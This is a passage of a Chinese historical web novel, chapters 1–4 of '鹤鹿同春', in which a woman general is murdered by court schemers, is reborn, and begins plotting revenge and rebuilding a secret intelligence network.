《鹤鹿同春》 1. 第 1 章 《鹤鹿同春》全本免费阅读 北境边关,花池郡的灵光寺内,一柄银枪静静陈横在蒲团之前,一身银麟甲胄的女子轻阖双眸跪坐在蒲团之上。她的唇红如同被彼岸花染过一般,鲜艳欲滴。节奏轻缓的木鱼声在佛殿中回荡,秋风吹起金黄色的帐帘,露出帐后的款款而来的美人。 “如今你也是一柄银枪走边关的大将了,也不知你们章氏先祖究竟做了什么孽,竟每一代的人都落不得半点好下场。”美人生得一张鹅蛋脸,应是一副娇憨有福的面相,可她的眉眼间却带着萦绕不散的愁思,反而将那抹夫妻削杀殆尽。 章麓没说话,只静静的默念了几句,便站起身重新提起了银枪。随风翻飞的金黄色帐子遮蔽了她的半边身影,也遮掩了她看似平静实则悲怆的情绪。 其实以前的她厌恶武斗,即便出生在忠烈世家的范阳章氏,忠义堂中供奉着霄云女帝御赐的丹书铁券,整个大梁都将章氏先祖——第一任虞庆侯章猎风的故事传得神乎其神,她也对习武感到厌恶。 或者说,她厌恶一切沾染血腥的事情。 但此时此刻,在经历了未婚夫刺杀小皇帝失败被抓、父母被小皇帝的外戚囚禁在京城、兄长被陷害死于契丹战场之后,她竟觉得让某些人流血也不是不可以。 种种磨难,都让他想起父亲的谆谆教诲、母亲的犀利言辞,还有未婚夫李鹤霖宛若奔腾战马的枪法和他于兵法之道的自信。 李鹤霖身形修长健硕,自小便跟随外祖父在西北习武打仗,也许是西北苦寒,亦或者是战场凄凉,总而言之,他是个很沉默的人,尤其在面对章麓的时候,在她试图与他聊些风花雪月、诗词画作的时候,他只是静静的望着章麓,一言不发。 这样的沉默与木讷,让原本对他那张脸很感兴趣的章麓,渐渐失了兴趣,也开始抗拒这门长辈们定好的婚事。 即便外戚想要谋得章氏兵权,将她圈禁在京城,甚至让小皇帝下旨将她送进了李鹤霖的府邸,她也几乎没有与李鹤霖打过照面。 见不到也好,章麓求之不得,她知晓李鹤霖的祖母与太后是姐妹,将来无论谁来做皇帝,李鹤霖都将荣华富贵一生,做他的夫人,是多少女子求之不得的事,可她仍旧过不去心中的坎,仍旧对这个人不喜。 “发什么呆?”美人走了过来,打量了章麓一眼,然后朝佛像盈盈一拜。 她右侧的头发梳起,左侧的鬓发垂下在脸颊处弯了个弧度,末端扎在脑后,瞧着有些像锤髻,又比垂髻散乱一些,若有外人瞧见,定然会觉得她是个自由自在潇洒恣意的人。但章麓清楚,对方垂下的发丝,只是为了遮挡左边脸颊上的疤。 美人是李鹤霖同父异母的妹妹,为了帮李鹤霖混进皇宫,生生挨了现任主母雍夫人一刀,彻底破了相。 可惜他们的计划并没有成功,雍夫人的兄长庆国公没有死,皇帝没有死,李鹤霖反倒成了反贼,替庆国公背下了所有的罪恶。 章麓握紧手中的长枪,偏头看着她:“明月,我要回京了。” 李明月参拜的手顿了顿,低声道:“你为什么还要回去?回去就是死,你不会不明白。” “我知道,但我不能不回去。” 因为此生最爱她的两个还在京城,她最愧对的人的尸骨还在京城。 李明月没有说话了,她走到大殿外,看着山外那傍晚的红日半没入黄沙之中,心中有无限怅惋,面上却不露分毫。 “你想好了便是。”她道,“我不劝你,因为我知道我不是三哥,我劝不动你。” … 秋日夜晚的风带着寒意,章麓轻车简从离开了花池。 在十里亭时,李明月站在路边,呆呆的看着一行被流放的人从她面前走过。那是她的熟人,也是章麓的熟人——太师王相权的妻子儿女。 王相权出身琅琊王氏,是李鹤霖的恩师,他的儿子王临之娶了章麓的堂妹章引玉为妻,章引玉随夫去了青州,被庆国公暗地里捅了一刀,惨死在阴谋诡计之下。而王临之被废了双眼双手双腿,丢在了青州的山谷之中再无音讯。 如今王相权一家从章麓的面前走过,除了麻木的神情,再无其他。 章麓和李明月就这么站在腐朽的十里亭中,看着这位曾经为大梁奉献一生的两朝宰辅,于瑟瑟秋风中越走越远,直至消失不见。 李明月的父亲被庆国公算计死,他的小儿子李谨焕登位已成为必然,只是登位之后,是傀儡还是明君,显而易见。 黑夜前的光线晦暗,让章麓辨不清李明月脸上的情绪,但她有一个问题想问:“你想过自己的以后吗?” 夜凉如水,也凉不过被背叛的人心。李明月拢紧身上的披风,淡声道:“无非就是被送去北方和亲,好在花池灵光寺里竖着每一位和亲公主的姓氏,我说不定能名留青史呢。” 和亲啊…… 章麓一时之间,竟分不清是留在豺狼虎豹环伺的长安好,还是去往北漠成为阶下囚好。 “嫂嫂,我哥是真的爱你。”李明月突然道,她望着官路中央,上面的落叶上还印着王家众人斑驳的脚印,可风总是无情的,将落叶纷纷扫除。 可当落叶被风扬起的那一刻,章麓恍惚看到了李鹤霖那张俊美刚毅的面庞,看着他于黎明前晦暗的光线之中,哀伤又克制的望着自己,小心翼翼又虔诚的在自己额上印下唯一的一吻。 “如果无聊,就打开书房里的小盒子。” 那时候章麓不明白他为什么突然说这个,她从不进李鹤霖的书房,过去不会,现在不会,将来也不会。 直到他刺杀皇帝未遂的消息传来,李明月跌跌撞撞的闯进来,哀求她打开盒子时,她才在看到盒中内容的那一刻,明白了对方掩埋二十年的心意。 可一切都太晚了。 …… 章麓闭上了眼睛。 无论生前的情意有多深厚,不说就是不存在,死后更不必缅怀。 她将眼睛睁开,双眸中再无半点哀伤。 “此去九死一生,李鹤霖留给我的墨云骑交给你,将来是要避世还是和亲,选择权在你。我走了,永别。” 哒哒的马蹄声顺着官道逐渐遥远,只余菩萨的哀叹于这低垂的夜色中隐隐回荡。 … 皓月当空。 一匹黑色的骏马飞驰在浓浓夜色之中,骑马之人身着一身银麟铠,烈焰红唇,耀眼夺目。 “虞庆侯世子回朝了!” 随着一阵惊呼,骏马在偌大的虞庆侯府门前停下。 一袭戎装的章麓翻身下马,将马缰交给小厮,大步流星的朝府中走去。邓州伯世子李谨焕走出来迎接她。身后的内侍宫女各个低眉垂眼,恭恭敬敬的俯首行礼。 李谨焕想要牵住章麓的手,却被对方轻巧避开。他垂眸看着自己空落落的右手,神色微暗。 章麓边往里走边解开身上的大氅:“这次西突厥被我打得落花流水,至少能为边关百姓博来二十年的和平。” 李谨焕温雅一笑:“辛苦你了,先沐浴更衣,今夜可要好好睡一觉。” “李谨焕,”章麓站在祠堂前的长阶上,回头俯视着这位被陛下钦点补替世子之位的男人,“以后再也没有人会阻挠你了,烦请谨遵诺言,明日一早就向陛下提请放我父母回来。” 李谨焕愣了一下,道:“陛下多疑,虞庆侯府如今如日中天,掌管边关六十万兵权,陛下不会允许任何强盛的世族……” “没事!”章麓打断了他的话,面上欺满风霜,唇也白的可怕,“我想好了,明日一早我就交还兵权,将世子之位让给族中其他子弟,这样一来我非嫡宗,父亲这一脉也无男.性子嗣,我们远走他乡避世而居,威胁不了他的位置。” “上交兵权?”李谨焕诧异,“你可想好了?” “想好了,”章麓点点头,“若不是兄长战死沙场,也不至于将我推出来成为千古第一位女世子,我知道朝中人因此对我和父亲颇有微词,虽舅舅一家多番为我据理力争,但他如今已是如履薄冰,我不想他们继续为难。而且……我既与李鹤霖有婚约在先,即便他如今戴罪身死,我也不可能再改嫁与你。” 李谨焕攥紧了袖中的手,不走心的浅笑道:“好。” 章麓没再说话,转身跨入祠堂,用紧闭的门扉将两个人隔绝在两个世界。 夜沉如水,待章麓从祠堂出来之后,回屋沐浴换上一袭华裳,这是他的未婚夫李鹤霖特意命人为她做的夏裳,她还是第一次有机会穿上它。 以往的她看不上,现在的她想要都不知道该去哪里找。 她在镜前转了两圈,轻轻抹掉脸上的水渍,转身踏入书房。 结果刚踏入书房,就见主位上坐着世子的生母。 章麓脸上的笑意落了下来,她不喜欢这个女人,太过精于算计。 自从邓州伯的夫人为他挡箭身亡后,这名妾室曾联合自己的母族强逼邓州伯扶她为正室,要让李谨焕成为嫡子,顺理成章的继承爵位。 虽然邓州伯严厉拒绝了此事,却不妨碍他们谋划,只是令章麓没想到的是,这个女人这么狠,为了一个爵位,不止算计本就是世子的李鹤霖,还将邓州伯也算计了进去。 邓州伯身亡,身为质子的李鹤霖隐忍多年,最后却被雍夫人出卖,刺杀失败车裂而死。 “听说你要上交兵权?”高高在上的女人神色傲慢地翻着桌案上的公文,这些都是章麓平日与军中往来的绝密,从未让任何人看过。 章麓看向站在一旁的李谨焕,只见对方垂首看低,一副恭敬姿态,虽早有预料,但当现实真正摆在自己面前时,还是不由对这个人感到万分失望。 她转过头,看向对方的目光带着凌厉:“雍夫人如此肆无忌惮的翻阅本世子的公文,不怕本世子明日弹劾于你?” 雍夫人扫了她一眼,不在意的冷笑出声:“你随意,我倒要看看,陛下有没有本事替你撑腰。” 她站起身,走到章麓面前,神色睥睨:“我再问一遍,你是不是当真要交还兵权?” 章麓昂头,不卑不亢道:“交不交也跟你没关系,就算要交,也是交给陛下,而不是一段坑蒙拐骗而来的姻缘。” 雍夫人扶了扶鬓边绒花,低低笑出了声:“是吗?只怕到时候由不得你。” “什么意——” 一阵剧痛袭来,章麓的话戛然而止。 她不可置信地低头,看着雍夫人素若无骨的手握着匕首的一端,而另一端已经完全没入自己的胸膛。 “你……”章麓抬眼,略过雍夫人的肩膀看向她身后的李谨焕。 对方除了攥紧拳头垂着头,什么都不敢做。 “你哥哥那么疼你……”她以为他只是被养得胆子小了一些,却不曾想根本是个没主见的傀儡。 闭眼再睁时,章麓的双眸中逐渐涌出疯狂之色:“你怎么敢?” “我为什么不敢?”雍夫人拿手绢擦了擦自己的手,神色癫狂,“你和那个杂种当真是夫妻情深,他为了保下你,真是什么都愿意做!不过,好在他是个情种,否则陛下哪儿会那么轻易就被他刺死!当年推你为世子,是为了让你心甘情愿的替我儿上前线。如今敌军既已经被打退,你便没什么用了。” 小皇帝死了?李鹤霖成功了?所以根本没有人出卖他,一切都只是庆国公布的局,不!还有李鹤霖的祖母在帮着庆国公。 “你——”甫一开口,黑色的血液从喉咙中翻涌而出,章麓身形不稳,跪倒在地,只觉眼前阵阵发黑。 “要怪只能怪你们章家对陛下太忠心了,挡了我的道,便只能麻烦你们去死了,省得小皇帝总有生出些非分之想。”雍夫人叹息着说道,“待你死后,焕儿便会与安国公府的五姑娘成婚。这崔梦宜虽然瞧着也挺令人讨厌的,还是婆婆的娘家人,但胜在识趣、听话,比你强上百倍。” 识趣,听话? 感受到力气在一点点消失,章麓惨笑出声。 她用力抬头看向僵如木头的李谨焕,想要好好看清他温柔的表象下,到底是用什么做的心。 “你当真是浪费了你兄长对你的百般维护!” 雍夫人冷笑:“他若当真维护我儿子,当初就不该抢这门婚事,你本该嫁给焕儿的,不过如今也好。”她从桌子上拿起一摞纸,红色的血在纸上印出点点梅花。章麓瞳孔骤缩:“你别动它!” “我偏要动。”雍夫人将这一摞纸撒向天空,纷纷扬扬的白色如同雪片一般,那是李鹤霖写给她的信,每一封都被藏在了木盒里,从未给她看过,如果不是为了取兵符调动虞庆军,她或许一辈子都无法发觉对方对自己的深深情谊。 她从未放在心上的沉闷男人,究竟藏着何种炽烈爱意。 “如果不是他非要查当年祁中岳叛变的事,我也用不着大费周章的弄死他。” 祁中岳叛变的事?李鹤霖居然一直在查,是为 2. 第 2 章 《鹤鹿同春》全本免费阅读 苍原冰雪,茫茫无边。 章麓坐在汗血马的马背上,被章启圈在怀里。殷红的上衫已经半干,只衣摆还有些许潮湿,紧紧贴在马腹上,一滴一滴的红色水滴沿途落下,宛若汗血马留下的汗水一般。 “吁——”一道陌生的声音由远至近,引起了章麓的警觉。 原本半合着眼皮的章麓就像受惊了的猫,猛然弓起自己娇小的身躯,骤然睁开的双眼用尖利的视线直直刺向来人,随时准备探出自己尖锐的利爪与獠牙。 “这什么眼神?太可怕了吧。” “在万马坑里被埋了一天一夜,还这么小,怕是已经疯了。” “所以说,在边关有什么好,不止女儿赔进去,儿子也没了。” “就是说啊,得像个办法调回去才是,哪怕不是长安,江南也好啊。” “嘿,你昨夜是不是宿在小青娘那儿了?听说这.雏.儿.的头一.夜.你用十两黄金拔得头筹,恭喜啊。” “嗨,承让承让。” 听到身边的人小声嘀咕着,内容越发放肆,十七岁的李鹤霖对这腐朽王朝的厌恶再次加深。 他偏过头看向被章启环抱在怀中的小姑娘,对方的头发上、脸上、身上全都是血,嘴唇白若霜雪,但一双眼眸却亮得惊人,那股子警惕与狠厉,与他刚救下的一匹幼狼很像。 章启抓着马缰的手攥紧起来,喉头的腥甜夹杂着愤怒。他拢紧怀中的妹妹,尽量将她遮挡在墨黑色的大氅下。 章启微昂着下巴,克制着.杀.人.的.冲.动.看向来人:“崔都督今日倒是清闲。” 崔环摸了摸鼻子,略微有些不好意思的说道:“主要昨夜饮酒,确实没瞧见烽火台的烽火点燃了,这是我的失误,实在抱歉,抱歉。”嘴上的歉意单薄,心里的得意更甚。 这句话就像一根尖刺,狠狠扎破了章麓本就摇摇欲坠的理智。 “既然觉得抱歉,就去死啊!六十万百姓给你陪葬,也挺风光的不是吗?”烈焰般的脖颈与面色,燃烧着不可抑制地怒火,她死死瞪视着眼前的.侮.辱.者,利爪突破理智的束缚,雷霆般突至崔环近前。 前世就是因为他,三哥战死在辽东关尸骨无存! 兄长被回纥人吊在树上削成人彘! 李鹤霖的生母邓州伯夫人死在明德殿,李鹤霖最后也死在了这群人的阴谋诡计之下! 而自己,也在秋夜冷风中,死在了雍夫人的刀下。 “袅袅!”章启喉头发紧,逼迫自己不流出泪来,双臂紧紧将拼命挣扎的章麓箍在怀里,捂着她泪水奔腾的双眼。 “嘿,你这小姑娘……”崔环的话还没说完,就被旁边的人打断。 “本就是你的错,北宁关有此大难,你有不可推卸的责任。我会回禀父亲,让他将你调走。” 骑马立在崔环身旁的李鹤霖突然出声,看向崔环的目光透着一股危险气息:“省得再坑害了几十万百姓的性命。” 被自己的晚辈如此下脸面,崔环的眸中闪过一丝不悦:“三郎君,这里还容不得你一个小辈插嘴。” 然而李鹤霖根本不理他,驱马朝章麓而去。 临到近前,他那一贯不动声色的面容上,难得带了抹绯红。 他从马侧的牛皮袋里,将一直扒拉着袋口朝外往瞧的小.银.狼拎了出来,递给了章麓。 “送给你。”李鹤霖极力表现的镇定自若,但他线条分明的脸上,还是带着一丝僵硬。 章麓盯着他,就像在盯一个非人的事物一般,警惕的呼吸都变得沉重。 见状,李鹤霖不由得挠了挠头,他思索了半晌才试探的解释道:“我娘说,人总要有一个理由才能活下去。新生代表希望,这小.银.狼.是我经过嵩山时救下的,养了一个月,算是送给你的祝福吧。活下去,总有一天,你能报仇雪恨。” 直到听见他说‘活下去’三个字,章麓警惕的面容才终于出现裂痕,露出一丝怔愣。 在这一刻,李鹤霖与前世的身影完整重合。 茫茫冰原上的风又开始哀吟,裹挟着几十万冤魂的愤怒咆哮,将章麓心中的悲与怒彻底席卷。 她的发丝在风中摇摆着,但她的心异常坚定。 在李鹤霖以为得不到回应,有些失望地想要收回手时,一股温热的触感从指尖传来。 他抬头望去,看见章麓接过那匹.银.狼.幼.崽,牢牢的护在怀中。 “谢谢。”沙哑的声音穿过李鹤霖的耳膜,他发现眼前狼狈的小姑娘,正温柔的看着怀中的幼狼,就像一朵于悬崖峭壁上生长的花,坚毅且温柔。 朝露在阳光下蒸腾,冰雪开始融化,李鹤霖第一次发现,自己想要将一个人烙印在心上。 “三哥,我们回去吧。”章麓仰起头,迎着新生的太阳,瞳孔中倒映着烈焰的光辉,烧尽心中一切迷惘。 “好,我们回家。”章启不再理会崔环,纵马领着军队与李鹤霖错身而过。 崔环目送着他们离开,原本谄媚的笑容变得阴狠。 他朝地上狠狠地啐了一口,暗骂道:“什么玩意儿,自家人叛逃还有脸在我这儿抖威风,哼,早晚弄死你们。” “三爷爷,你虽然比我祖母小十六岁,但多少也吃了四十六年的盐,该懂点事儿了。” 李鹤霖纵马行至他的身侧,看他的目光就像在看一只蝼蚁。 “我劝你别轻举妄动,若是没有他们,北方防线溃破,我爹十年内都甭想登上帝位,你当国舅的梦想恐怕就要彻底破灭了。” 崔环不屑地瞥了一眼李鹤霖,丝毫不掩饰自己的厌恶:“那小姑娘可不是你能肖想的,纵是你们有婚约又如何?你见章启理你吗?那小姑娘认识你吗?小兔崽子可悠着点,等大侄子攻进长安。太子之位也好,虞庆十六州的兵权也罢,都是崔家人的,你一点儿都别惦记。” * 章启带着章麓回到了北宁关内的五原郡。 因为回纥人铁蹄的践踏,到处都是断壁残垣、断木焦炭,破碎的内脏伴着碎骨散落一地。就像屋檐上的残破瓦片,冬日的冷风稍烈一分,就会令它们惊恐得簌簌作响。 哒哒的马蹄顺着大街一路穿行,途中遇到过几个幸存的百姓,他们神色麻木地望着他们,宛若行尸走肉。 章麓抱着幼狼的手臂不断收紧,再收紧,就像一只无助的小兽,在充满危机的环境中,恨不得将自己藏起来,自欺欺人的躲避一切风险。 章启察觉到她的颤抖,垂下眼眸,用大氅将她笼罩,替他隔绝一切令她不安的源泉。 他们穿过坊市,穿过曾经繁华的街道,一路向南,直到看见一座古旧的宅院方才停下。 而宅院门口的几丛修竹,正随着风婆娑作响。 “到了。”章启掀开大氅,“我抓到一个叛徒,你要不要亲自审问他?” “要!”章麓猛得从章启怀中支起身体,言语剖决如流,“他在哪儿?” 上一世,她因为害怕选择逃避,在长安自怨自艾,用虚假的繁华富贵麻痹自己的心。 这一世,她一定要搞清楚缘由,为了家人,也为了自己。 “就在这儿。”章启抬头看着章云锋曾经居住过的府邸,低声道,“我就在外面等你,需要帮忙就叫我。” 说罢,他率先下马,然后将章麓从马背上抱了下来。 甫一落地,章麓才抬头看向这座兄长曾居住过的地方,踏着杂草夹道的青砖路疾步前行。潮湿的砖缝处滋生许多青苔,东苑角落栽种着两株遮天蔽日的古树,此刻正随着风不住的摇晃着,似在欢迎章麓的到来。 而树下白雪皑皑,萧瑟无比。 按照章启的指引,章麓一路来到东苑 3. 第 3 章 《鹤鹿同春》全本免费阅读 北风呼啸,雨雪漫天。 “你别多问,只要把货送到原郡北郊外的槐安村,你们祁将军自会派人去领。”崔环说这话时,风雪急急,遮蔽了他的表情。 他搂过赵知舟的肩膀,两人头对头低声嘀咕:“这可是个好营生,一趟这个数。”伸手比划的时候,兄弟俩的贪婪表情尽数被他收在眼底。 “你们兄弟俩呢,好好干,干个三五年,便能攒下一笔丰厚家业,到时候就可以离开边关,去中原买上万亩良田,下半辈子就能做吃喝不愁的富贵老爷了。” 也不知是皑皑白雪更亮眼,还是白花花的银子更惊人。 赵知舟一辈子都没见过那么多钱,但他知道,有了这些,他和弟弟的下半辈子,就不用在边关受苦了。 “你们做了几年?” 章麓的声音再次将他扯回现实。 赵知舟混沌的脑袋清明了短暂的一瞬,又陷入了无边的幽深之中。 他喉间滑动一下,声音宛若被狂风撕扯的破旗:“五年……” “东西都送去哪儿了?” 赵知舟张了张嘴,犹豫半晌终究还是将那个地方,吐露了出来:“吐谷浑。” “赵晚舟呢?” “我不知道……”赵知舟的喉头涌上一股腥甜,他似乎已经察觉到自己已是雄途末路,声音带着对死亡的恐惧,“他被崔环藏起来了,我不知道在哪儿,我也想知道他在哪儿……” 章麓再也支撑不住自己的身体,闭上眼跪坐在地上。 被黑布包裹的房屋灯火灰暗,犹如章麓前世在京城那充满谎言的短短二十年。 赵晚舟,这个前世李谨焕的钱库。 当年明明有过怀疑,为什么会在李谨焕的花言巧语下放弃探寻呢? 明明离真相已经那般的近,却因为想起李鹤霖,想起他对弟弟的情意与信任,误了终身,害了家人。 她扶着桌子,一点一点站起来,挪动着脚步一步一步向外走去。 待她行至门口时,背后突然响起一句拼尽全力的“对不起。” 章麓扯着破了口子的嘴角,却怎么也给不出一个回应,哪怕是假的。 她打开门,看着外面不知何时下起的鹅毛大雪,平静道:“这句话,还是留着到地下给枉死的六十万百姓说吧。” 言罢,她走出屋子,在章启的搀扶下,一步一步离开了兄长曾经的家。 一个已经支离破碎的家。 赵知舟努力抬起头,朝着打开的大门向外看去。凛冽的寒风在咆哮,席卷着羽毛般大小的雪花冲进幽暗的房屋。 他转动着眼珠,盯着黑暗中唯一的雪白,身体逐渐僵硬,再也没能说出一句话来。 他后悔吗?或许,但人永远只会后悔被发现,却不会后悔之前的选择。 院外,章启将章麓抱进刚刚准备好的马车,里面放着暖炉和汤婆子。可再暖和的地方,也融不化心中堆集的风雪。 “你打算怎么办?”章启问。 他不打算越俎代庖,因为他深知,自己的妹妹如今还能活着,是被探寻真相的一根细线牵着,他绝不能让这根线断了,他承受不住再失去一位亲人的痛苦。 “我们守在北境太久,是时候向外扩张了。”章麓抱着手中雕刻着蝙蝠纹样的汤婆子,声音淡漠如水,“章氏的大同商号要走出去,不再拘泥于幽云十六州,我要它跨过黄河,越过长江,我要这天下所有的消息,再也瞒不过我的耳目。” “你要从商?”章启诧异。 章麓摇头:“商号只是迷惑外人的假象,我要重建解语楼!” 传说解语楼是第一任虞庆侯章猎风所建的情报机构,在他去世后,霄云女帝晏清姝的子侄永惠帝忌惮其声势,下令拆除焚毁。 但只有章家人自己知道,解语楼是霄云女帝一手建立起来的,它最繁盛的时候就是霄云女帝在世的时候。霄云女帝去世后,她的君后裴凛假死离京,携带解语楼的令牌来到了范阳,亲手交给了章猎风。 解语楼在范阳重新扎根,却一直隐在暗处。 如今,是时候将它抬于人前了。 章麓:“三哥,我要见神花长公主。” * 幽暗的牢房里,吐谷浑的神花长公主狼狈地坐在发霉的茅草上。 即便身陷囹圄、伤口累累,即便发丝凌乱,不复以往光鲜,但人们依旧能从她仰望窗口的侧颜,窥得她一两分绝世容颜的影子。 章启打开门走了进来,待所有狱卒出去,左右无人时,神花长公主才将自己的视线,从手掌大的灰蒙天空中移开,落在章启冰冷的眸色上。 章启一把拽起她的衣领,将她拖出牢房。 地牢的大门骤然被打开,凛冽的寒风夹杂着冰刺一样的雪呼啸而来。被冷风一刺激,拓拔玉兰瞬间清明。 她抬头望去,黑压压的重骑伫立在两侧,每个人的脸上都带着滔天怒意,恨不得扑上来将她撕得粉碎。 最中间的地方,停着一辆马车,拓跋玉兰一眼就认出来,是上个月,虞庆侯送给章麓的生辰礼物。 车架上还有她儿子元逯亲手雕刻的鸾凤纹。 那一刻,属于儿子的音容笑貌再次浮现眼前。 她伸出手,想要像往常一样拍拍他的肩头,为他扫落雪片,却毫无意外的穿透了他的身体,扑倒在了冰冷的雪地上。 章麓掀开厚重的车帐,快步走下来,径直来到拓跋玉兰的面前。她背靠着风雪,将御寒的兜帽取下,露出一张满是糟污的稚嫩脸庞。 她将怀中的幼狼放下,走下阶梯。 拓跋玉兰从地上爬起,想要透过被血糊住的双眼,看清眼前姑娘的模样。 她虽没见过她,但她从儿子的口中听说过,这是一个调皮伶俐、聪明可爱的姑娘。 儿子喜欢她。 可如今,对方身上浓重的血腥味掩住了她的开朗,刺目的伤口划破了她的阳光,落在自己身上的眼神没有欣喜与快乐,只有浓重的仇恨与厌恶。 “你师父是祁若兰,繁花素手,剑比天下。你也因此被封为神花公主,掌十万神花军。” 神花长公主眸色微动,暗暗猜测她的来意。 “二十年前,我父亲与她曾是同门,因而对她的弟弟祁中岳也极为照顾。那时候吐谷浑与中原交好,每年献马一千匹,祁若兰收你为徒,也算是对两邦友好往来的证明。” 章麓站在光照不到的地方,面容隐藏在黑暗里:“二十年前,她弟弟因她而活,二十年后,她的弟子也因她未死。拓拔玉兰,章氏不是不能杀你,但你活着远比死去更有价值。” 章麓半蹲着身子,掐住她的下巴,强迫她弯曲脖颈看向自己。 “你师父死在了古马坑,死在了你亲侄子的乱箭之下。要我说,她这一生着实窝囊,二十年前为弟弟卑躬屈膝,二十年后还因为你这个白眼狼而万箭穿心。” 拓跋玉兰瞳孔颤动,想要开口,却被紧紧钳制住颌骨。 “她本以为你对她是真心,谁知道皆是假意。此番造成北宁关劫难的罪魁祸首是谁,你难道不清楚?不,你最清楚,可你无能去阻止,即便你 4. 第 4 章 《鹤鹿同春》全本免费阅读 地牢里的光晦暗不明,衬得章麓的面庞也晦涩难辨。 拓跋玉兰抿唇:“神花军的令牌有两份,一份还在我身上,另一份在摄政王那里。兄长就算动,也得问问摄政王同不同意。但他们两个都觊觎神花军的兵权,定然会狗咬狗,落得两败俱伤。” 拓跋玉兰的眉眼间积满阴沉,一身杀伐之气藏都藏不住:“我的夫君和儿子也死在这里,我不会放过所有参与这场谋划的人。我虽姓拓跋,但在今日,拓跋玉兰已死,此后,我便是六姑娘手中的一柄刀,一条狗,只要能让我报仇,不管六姑娘让我做什么,我都心甘情愿。” 章麓眸光微闪,神花军竟有两块令牌? 可前世,拓跋玉兰手中那一枚,怎么会落到吐谷浑王的手里? 不过,能让性情孤傲的拓跋玉兰说出这样一番话,她的目的便达到了。 章麓让哥哥将人放开,蹲下身与她平视。 “崔环你可认识?” “听过,邓州伯的小舅舅,是他外婆的老来子,为了生下这个儿子,连命都搭进去了。所以邓州伯的母亲对这个弟弟颇为宠护,但邓州伯似乎不喜欢他。”拓跋玉兰如实道。 “我要一个留着拓跋血脉和崔氏血脉的孩子,你可明白?” 拓跋玉兰愣了一下。 崔环的妻子可是名门望族,这是让她去做崔环的妾? 章麓敛下眸中恨意,没多做解释:“你怎么做是你的事,我只看结果。” 说罢,她摘下脖颈中挂着的血玉,递给她:“将来事成,拿它去长安找我。” 章麓重新带上兜帽,转过身,眼泪不争气的滑下来。 她可以恨祁中岳,恨吐谷浑王,恨拓跋朱,恨赵知舟,恨李谨焕……恨很多人。 但她无法去恨拓跋玉兰,一个生来就被当做质子的女人。 这会让她想到远在长安的姑姑,从会走路起,就被送往长安,被皇帝作为挟制父兄的筹码。 门口的那一脚,算是全了两人所有的仇怨。 五原郡的雪依旧下得广而急,章麓重新登上马车,一路摇晃着离开五原郡,踏上返回范阳的路。 砾石颠簸着马车轮毂,北风凛冽而至。 在行出东郊百里时,她猛的掀开车帘,沿着连绵的北山遥望,那里铸造着宛若龙脊的万里长城。 团絮般的雪花洋洋洒洒,将连绵山脉粉饰做苍茫一片。 她仿佛又听见了雷雷战鼓,幽幽号鸣,穿过这片巍峨的大山,滑过这道沧桑的城墙,一路向北,呼啸着,叫嚷着,遮天蔽日,袭向整片北方。 * 风霜雨雪,横贯五年。 千山万水,踏遍中原。 邓州伯的声势于阳光下日益壮大,解语楼的梁柱在隐秘中拔地而起。 今生的种种都与前世不同,但历史的洪流仍旧推着每个人在既定的命运轨迹中前行。 长安聚翠轩的后院里,有一栋精致的二层小楼,雕花隔窗,走兽飞檐。院中的积雪逐渐融化,一声声兴奋的狼啸声由远及近,惊起一片飞鸟。 后院书房的门被推开,晴野高举着茶盘走进来,腿旁是一只试图扒拉她的高大银狼。 “姑娘!你管管‘麓风’!它又把城外山上捕来的猎物丢在院子里!”晴野边抱怨,边与名为‘麓风’的银狼周璇,左右移步艰难地抵达章麓的桌案旁。 这是李鹤霖送给章麓的那匹幼狼,如今也是位有狼崽的父亲了,可心性依旧活泼跳跃,时常因为丢崽而被母狼嫌弃。 正在阅读信件的章麓一抬眼,就看见满口鲜血的狼头搭在桌案边,圆圆的兽瞳好奇的嗅着桌上写着‘安’的书信。 章麓的眉峰几不可闻的跳动了一下,指着门外对‘麓风’道:“出去。” ‘麓风’呜咽了一声,无辜的瞪着铜铃大小的双眼,一眨都不眨的看着自己的主人。 可惜章麓不为所动,坚定不移地重复道:“撒娇没用,出去!” ‘麓风’这才委屈地把脑袋从桌案上拿下来,一步三回头地朝外走去,看向章麓的目光就像在看一个抛弃了它的负心汉。 “戏精。”晴野撅了噘嘴。 章麓笑着轻轻摇头,低头看信。 这是近日来第二个向解语楼求问虞庆侯府消息的人。 她随手写下一行字:虞庆侯府嫡次女章麓,入京为质,婚嫁配给之人,可胁侯府入幕。 写完后,折入用小篆刻着‘安’的暗格之中。 机关转动的声音响起,在人们看不到的地下,隐藏着一座木制机关堡垒。 这封书信被木制轨道送往地下,被一个身着褐衣短打的人接手,按照信封上的阴晦暗语,将它分类去该去的地方。 晴野不解道:“姑娘,他们来问虞庆侯府的事是为了侯爷手中的兵权,您为什么要让他们把注意打在您自己的身上?” 章麓端起茶杯抿了一口,悠然道:“虞庆侯手握重兵,想要将人拉下马没那么容易,如果一个女儿的婚嫁就能获得其帮扶,那些人会不会心动?” 前世就是这样,让她泥足深陷不自知。 这一世,她要将主动权掌握在自己手里。 也不知是不是她推迟了入京时间,又重建解语楼的做法,改变了命运的轨迹,邓州伯竟然提前造反,在前世的种种还未发生前,便离龙椅只剩一步之遥。 章麓收好印信,说道:“不出十日,长安必破,我们要回去好好准备准备,迎接故人。” 不知道是不是她复仇的脚步距离那个人只剩一步之遥,最近她在夜里总是会梦见当年在北宁关的情景。 血光冲天,红雾缭绕。 阵阵腥风扑到鼻尖,带着一声声若有似乎的沉闷咆哮,夹着连绵成片的无尽骸骨。无数死不瞑目的将士,于深不见底的古马坑中,流着滚滚鲜血,一步一步奋力地向外攀爬。 她想醒来,意识却被拉扯,她听见几十万个声音在她耳畔诉说,带着愤恨与不甘,乞求报仇雪恨的那一天。 如今,由情报钩织的网络已经张开,是时候去亲手将当年参与进来的罪人,一个个从云端推入深渊。 “该回去了,否则舅妈铁定又要问东问西。”章麓揉了揉眉心,面露苦恼:“最近出来的太频繁,借口都被我用完了。” 晴野将桌面上的东西都收好,心情沉重道:“最近风声鹤唳,不少侯门望族都被召进了宫,走着进去躺着出来,伯夫人如今怕是也没闲工夫管您的去向。” 章麓轻轻摇了摇头:“她待我极好,甚至好过我的娘亲,所以……” “姑娘——” 晴放火急火燎的冲了进来:“邓州伯离长安只有三十里了!长安城门紧闭,街上到处都是禁军,伯府派人来寻您回去!” * 泼墨般的夜空洗掉了往日喧嚣,路边那盏照亮伯府门前阀阅的昏黄灯笼,被风中的沉重吹得摇摇欲坠。无数火把宛若冲入密林的萤火,落入湖中的碎石,在这无边的沉闷中,划下惊人心弦的痕迹。 小楼的大门被人推开,夜风带着晦涩的压抑,裹挟着刺骨的苍凉,将门外削瘦的人影推了进来。 “有叛军冲 5. 第 5 章 